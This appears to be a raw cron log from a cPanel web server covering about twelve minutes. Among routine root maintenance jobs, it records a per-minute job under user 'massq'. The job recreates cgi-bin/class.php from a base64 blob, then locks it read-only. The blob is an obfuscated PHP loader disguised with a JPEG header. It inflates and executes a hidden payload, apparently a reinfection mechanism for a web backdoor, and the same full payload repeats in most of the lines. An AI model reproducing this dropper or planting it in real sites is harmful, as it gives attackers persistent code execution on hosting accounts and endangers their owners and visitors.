Sep 10 22:58:01 server CROND[30522]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 22:59:01 server CROND[30915]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 22:59:01 server CROND[30914]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 22:59:01 server CROND[30913]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 23:00:01 server CROND[31360]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 23:00:01 server CROND[31365]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep 10 23:00:01 server CROND[31367]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 23:00:01 server CROND[31368]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 23:00:01 server CROND[31369]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 23:00:01 server CROND[31364]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 23:00:01 server CROND[31366]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 23:00:01 server CROND[31363]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 23:00:01 server CROND[31362]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 23:01:01 server CROND[32245]: (root) CMD (run-parts /etc/cron.hourly)
Sep 10 23:01:01 server CROND[32246]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 23:01:01 server CROND[32247]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 23:01:01 server CROND[32248]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 23:01:01 server run-parts(/etc/cron.hourly)[32245]: starting 0anacron
Sep 10 23:01:01 server run-parts(/etc/cron.hourly)[32268]: finished 0anacron
Sep 10 23:02:01 server CROND[32645]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 23:02:01 server CROND[32646]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 23:02:01 server CROND[32647]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 23:03:01 server CROND[577]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 23:03:01 server CROND[578]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 23:03:01 server CROND[580]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 23:04:01 server CROND[980]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 23:04:01 server CROND[981]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 23:04:01 server CROND[982]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 23:05:01 server CROND[1480]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 23:05:01 server CROND[1482]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep 10 23:05:01 server CROND[1483]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 23:05:01 server CROND[1492]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 23:05:01 server CROND[1490]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 23:05:01 server CROND[1494]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 23:05:01 server CROND[1493]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 23:05:01 server CROND[1489]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 23:05:01 server CROND[1491]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 23:06:01 server CROND[2479]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 23:06:01 server CROND[2480]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 23:06:01 server CROND[2482]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 23:07:01 server CROND[2892]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 23:07:01 server CROND[2894]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 23:07:01 server CROND[2893]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 23:08:01 server CROND[3272]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 23:08:01 server CROND[3273]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 23:08:01 server CROND[3275]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 23:09:01 server CROND[3655]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 23:09:01 server CROND[3654]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 23:09:01 server CROND[3656]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 23:09:01 server CROND[3657]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 10 23:10:01 server CROND[4050]: (root) CMD (/usr/lib64/sa/sa1 1 1)
